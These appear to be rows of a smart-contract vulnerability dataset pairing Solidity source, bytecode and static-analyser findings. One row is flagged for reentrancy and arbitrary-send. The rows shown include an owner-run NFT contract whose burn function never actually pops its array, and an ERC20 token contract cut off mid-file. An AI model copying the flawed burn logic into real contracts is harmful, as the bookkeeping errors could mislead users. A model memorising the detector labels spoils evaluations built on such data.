6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103dc565b600061118b610ee7565b905060006111998383611294565b306000908152600260205260409020549091506111b69082611122565b30600090815260026020526040902055505050565b6005546111d890836110e0565b6005556006546111e89082611122565b6006555050565b600080808061120960646112038989611294565b9061084d565b9050600061121c60646112038a89611294565b905060006112348261122e8b866110e0565b906110e0565b9992985090965090945050505050565b60008080806112538886611294565b905060006112618887611294565b9050600061126f8888611294565b905060006112818261122e86866110e0565b939b939a50919850919650505050505050565b6000826112a357506000610322565b60006112af8385611549565b9050826112bc85836116a8565b1461088f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103dc565b600060208083528351808285015260005b8181101561134057858101830151858201604001528201611324565b81811115611352576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461073e57600080fd5b6000806040838503121561139057600080fd5b823561139b81611368565b946020939093013593505050565b6000806000606084860312156113be57600080fd5b83356113c981611368565b925060208401356113d981611368565b929592945050506040919091013590565b6000602082840312156113fc57600080fd5b813561088f81611368565b6000806040838503121561141a57600080fd5b823561142581611368565b9150602083013561143581611368565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561149157816000190482111561147757611477611440565b8085161561148457918102915b93841c939080029061145b565b509250929050565b6000826114a857506001610322565b816114b557506000610322565b81600181146114cb57600281146114d5576114f1565b6001915050610322565b60ff8411156114e6576114e6611440565b50506001821b610322565b5060208310610133831016604e8410600b8410161715611514575081810a610322565b61151e8383611456565b806000190482111561153257611532611440565b029392505050565b600061088f60ff841683611499565b600081600019048311821515161561156357611563611440565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115af57600080fd5b815161088f81611368565b6000806000606084860312156115cf57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156115fa57600080fd5b8151801515811461088f57600080fd5b60008282101561161c5761161c611440565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116875784516001600160a01b031683529383019391830191600101611662565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116c557634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156116dd576116dd611440565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0ca98f97dac58ba622a153fca6e89a01e63704b27db4ffea22a49749f59928464736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,138 |
0xA71F5fACaF3e021897931BE44b10d68F89EC6a3B | pragma solidity ^0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Custom NFT contract based off ERC721 but restricted by access control.
* @dev made for https://sips.synthetix.io/sips/sip-93
*/
contract ThalesCouncil is Ownable {
// Event that is emitted when a new SpartanCouncil token is minted
event Mint(uint256 indexed tokenId, address to);
// Event that is emitted when an existing SpartanCouncil token is burned
event Burn(uint256 indexed tokenId);
// Event that is emitted when an existing SpartanCouncil token is transfer
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
// Event that is emitted when an metadata is added
event MetadataChanged(uint256 tokenId, string tokenURI);
// Array of token ids
uint256[] public tokens;
// Map between a owner and their token
mapping(address => uint256) public tokenOwned;
// Maps a token to the owner address
mapping(uint256 => address) public tokenOwner;
// Optional mapping for token URIs
mapping(uint256 => string) public tokenURIs;
// Token name
string public name;
// Token symbol
string public symbol;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
* @param _name the name of the token
* @param _symbol the symbol of the token
*/
constructor(string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
}
/**
* @dev Modifier to check that an address is not the "0" address
* @param to address the address to check
*/
modifier isValidAddress(address to) {
require(to != address(0), "Method called with the zero address");
_;
}
/**
* @dev Function to retrieve whether an address owns a token
* @param owner address the address to check the balance of
*/
function balanceOf(address owner) public view isValidAddress(owner) returns (uint256) {
if (tokenOwned[owner] > 0) {
return 1;
} else {
return 0;
}
}
/**
* @dev Function to check the owner of a token
* @param tokenId uint256 ID of the token to retrieve the owner for
*/
function ownerOf(uint256 tokenId) public view returns (address) {
return tokenOwner[tokenId];
}
/**
* @dev Transfer function to assign a token to another address
* Reverts if the address already owns a token
* @param from address the address that currently owns the token
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to transfer
*/
function transfer(
address from,
address to,
uint256 tokenId
) public isValidAddress(to) onlyOwner {
require(tokenOwned[to] == 0, "Destination address already owns a token");
tokenOwned[from] = 0;
tokenOwned[to] = tokenId;
tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Mint function to mint a new token given a tokenId and assign it to an address
* Reverts if the tokenId is 0 or the token already exist
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to mint
*/
function mint(address to, uint256 tokenId) public onlyOwner isValidAddress(to) {
require(tokenId != 0, "Token ID must be greater than 0");
require(tokenOwner[tokenId] == address(0), "ERC721: token already minted");
tokens.push(tokenId);
tokenOwned[to] = tokenId;
tokenOwner[tokenId] = to;
emit Mint(tokenId, to);
}
/**
* @dev Burn function to remove a given tokenId
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to burn
*/
function burn(uint256 tokenId) public onlyOwner {
require(tokenOwner[tokenId] != address(0), "ERC721: token does not exist");
address previousOwner = tokenOwner[tokenId];
tokenOwned[previousOwner] = 0;
tokenOwner[tokenId] = address(0);
uint256 lastElement = tokens[tokens.length - 1];
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i] == tokenId) {
tokens[i] = lastElement;
}
}
tokens.pop;
// Clear metadata (if any)
if (bytes(tokenURIs[tokenId]).length != 0) {
delete tokenURIs[tokenId];
}
emit Burn(tokenId);
}
/**
* @dev Function to get the total supply of tokens currently available
*/
function totalSupply() public view returns (uint256) {
return tokens.length;
}
/**
* @dev Function to get the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to retrieve the uri for
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(tokenOwner[tokenId] != address(0), "ERC721: token does not exist");
string memory _tokenURI = tokenURIs[tokenId];
return _tokenURI;
}
/**
* @dev Function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function setTokenURI(uint256 tokenId, string memory uri) public onlyOwner {
require(tokenOwner[tokenId] != address(0), "ERC721: token does not exist");
tokenURIs[tokenId] = uri;
emit MetadataChanged(tokenId, uri);
}
}
| 0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b4114610590578063966595dc14610613578063beabacc81461066b578063c87b56dd146106d9578063f2fde38b1461078057610116565b806370a08231146104c2578063715018a61461051a5780638da5cb5b146105245780638f32d59b1461056e57610116565b806340c10f19116100e957806340c10f19146102ef57806342966c681461033d5780634f64b2be1461036b5780636352211e146103ad5780636c8b703f1461041b57610116565b806306fdde031461011b578063162094c41461019e57806318160ddd146102635780631caaa48714610281575b600080fd5b6101236107c4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610261600480360360408110156101b457600080fd5b8101908080359060200190929190803590602001906401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610862565b005b61026b610a82565b6040518082815260200191505060405180910390f35b6102ad6004803603602081101561029757600080fd5b8101908080359060200190929190505050610a8f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61033b6004803603604081101561030557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac2565b005b6103696004803603602081101561035357600080fd5b8101908080359060200190929190505050610e3a565b005b6103976004803603602081101561038157600080fd5b810190808035906020019092919050505061115a565b6040518082815260200191505060405180910390f35b6103d9600480360360208110156103c357600080fd5b810190808035906020019092919050505061117b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104476004803603602081101561043157600080fd5b81019080803590602001909291905050506111b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048757808201518184015260208101905061046c565b50505050905090810190601f1680156104b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610504600480360360208110156104d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611268565b6040518082815260200191505060405180910390f35b61052261134d565b005b61052c611486565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105766114af565b604051808215151515815260200191505060405180910390f35b610598611506565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d85780820151818401526020810190506105bd565b50505050905090810190601f1680156106055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106556004803603602081101561062957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a4565b6040518082815260200191505060405180910390f35b6106d76004803603606081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115bc565b005b610705600480360360208110156106ef57600080fd5b8101908080359060200190929190505050611891565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074557808201518184015260208101905061072a565b50505050905090810190601f1680156107725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107c26004803603602081101561079657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a22565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561085a5780601f1061082f5761010080835404028352916020019161085a565b820191906000526020600020905b81548152906001019060200180831161083d57829003601f168201915b505050505081565b61086a6114af565b6108dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b806004600084815260200190815260200160002090805190602001906109d9929190611bec565b507f2822080855c1a796047f86db6703ee05ff65e9ab90092ca4114af8f017f2047e82826040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a43578082015181840152602081019050610a28565b50505050905090810190601f168015610a705780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6000600180549050905090565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610aca6114af565b610b3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d006023913960400191505060405180910390fd5b6000821415610c3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e204944206d7573742062652067726561746572207468616e20300081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b600182908060018154018082558091505090600182039060005260206000200160009091929091909150555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550826003600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550817ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010284604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a2505050565b610e426114af565b610eb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006003600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006001808080549050038154811061106f57fe5b9060005260206000200154905060008090505b6001805490508110156110d857836001828154811061109d57fe5b906000526020600020015414156110cb5781600182815481106110bc57fe5b90600052602060002001819055505b8080600101915050611082565b5060006004600085815260200190815260200160002080546001816001161561010002031660029004905014611128576004600084815260200190815260200160002060006111279190611c6c565b5b827fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb60405160405180910390a2505050565b6001818154811061116757fe5b906000526020600020016000915090505481565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60046020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112605780601f1061123557610100808354040283529160200191611260565b820191906000526020600020905b81548152906001019060200180831161124357829003601f168201915b505050505081565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d006023913960400191505060405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113425760019150611347565b600091505b50919050565b6113556114af565b6113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561159c5780601f106115715761010080835404028352916020019161159c565b820191906000526020600020905b81548152906001019060200180831161157f57829003601f168201915b505050505081565b60026020528060005260406000206000915090505481565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611643576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d006023913960400191505060405180910390fd5b61164b6114af565b6116bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611755576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611d236028913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550826003600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a450505050565b6060600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b6060600460008481526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a125780601f106119e757610100808354040283529160200191611a12565b820191906000526020600020905b8154815290600101906020018083116119f557829003601f168201915b5050505050905080915050919050565b611a2a6114af565b611a9c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611aa581611aa8565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611cda6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c2d57805160ff1916838001178555611c5b565b82800160010185558215611c5b579182015b82811115611c5a578251825591602001919060010190611c3f565b5b509050611c689190611cb4565b5090565b50805460018160011615610100020316600290046000825580601f10611c925750611cb1565b601f016020900490600052602060002090810190611cb09190611cb4565b5b50565b611cd691905b80821115611cd2576000816000905550600101611cba565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6574686f642063616c6c6564207769746820746865207a65726f206164647265737344657374696e6174696f6e206164647265737320616c7265616479206f776e73206120746f6b656ea265627a7a72315820d2778de896ff61cee74ecf24b505d19fb12a87989701d783a184809241ffae2c64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,139 |
0x0a7655c032c20161434fBa14d4CDEA5856ABaE7C | /**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
contract UzuRocksToken is ERC20, Pausable, ERC20Burnable, AccessControl {
// Roles
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant LOCKER_ROLE = keccak256("LOCKER_ROLE");
// lock
mapping (address => uint256) private _lockBalance;
// Declare an Event
event SetLock(address indexed _account, uint256 _amount);
event UnLock(address indexed _account, uint256 _amount);
// init
constructor(address pauser, address locker) ERC20("UzuRocksToken", "UZRS") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(PAUSER_ROLE, pauser);
_setupRole(LOCKER_ROLE, locker);
_mint(msg.sender, 2500000000 * 10 ** decimals());
}
